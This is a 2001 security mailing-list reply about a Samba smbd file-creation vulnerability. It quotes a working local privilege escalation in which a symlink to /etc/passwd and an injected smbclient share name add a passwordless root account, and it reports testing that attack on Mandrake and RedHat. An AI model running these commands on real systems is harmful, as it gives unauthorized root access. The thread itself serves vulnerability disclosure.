Re: smbd remote file creation vulnerability

From: maniacat_private
Date: Sun Jun 24 2001 - 15:14:02 PDT

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    > Exploit:
    > 
    >    This is the scenario of local privilege escalation attack against
    >    RedHat 7.x installation:
    > 
    >    $ ln -s /etc/passwd /tmp/x.log
    > 
    >    $ smbclient //NIMUE/"`perl -e '{print "\ntoor::0:0::/:/bin/sh\n"}'`" \
    >      -n ../../../tmp/x -N
    > 
    >    ...where 'NIMUE' stands for local host name (few error messages
    >    should be returned).
    > 
    >    $ su toor
    >    #
    
    
    Hi,
    
    Mandrake 7.1 (Mandrake 8.0 and RedHat6.2) defaultly logs here:
    /var/log/samba/log.%m
    
    I replaced it with /var/log/samba/%m.log and used your exploit, which
    worked - into /etc/passwd was appended also line:
      toor::0:0::/:/bin/sh
    
    But until there was that two spaces onto begining of line, it was
    impossible to su to that account, this is error message:
    
    Jun 24 23:28:55 localhost PAM_pwdb[23844]: check pass; user unknown
    
    I tried to insert \r after the first \n, but unsucessfully. 
    I'm using pam-0.72-7mdk.
    
    This versions of PAM also don't permit spaces on begining of line:
    pam-0.72-20.6.x (Redhat6.2)
    pam-0.74-6mdk (Mandrake8.0(
    
    Maybe sshd without PAM support and permitting empty password may be
    'vulnerable' on such systems.
    
    maniac
    



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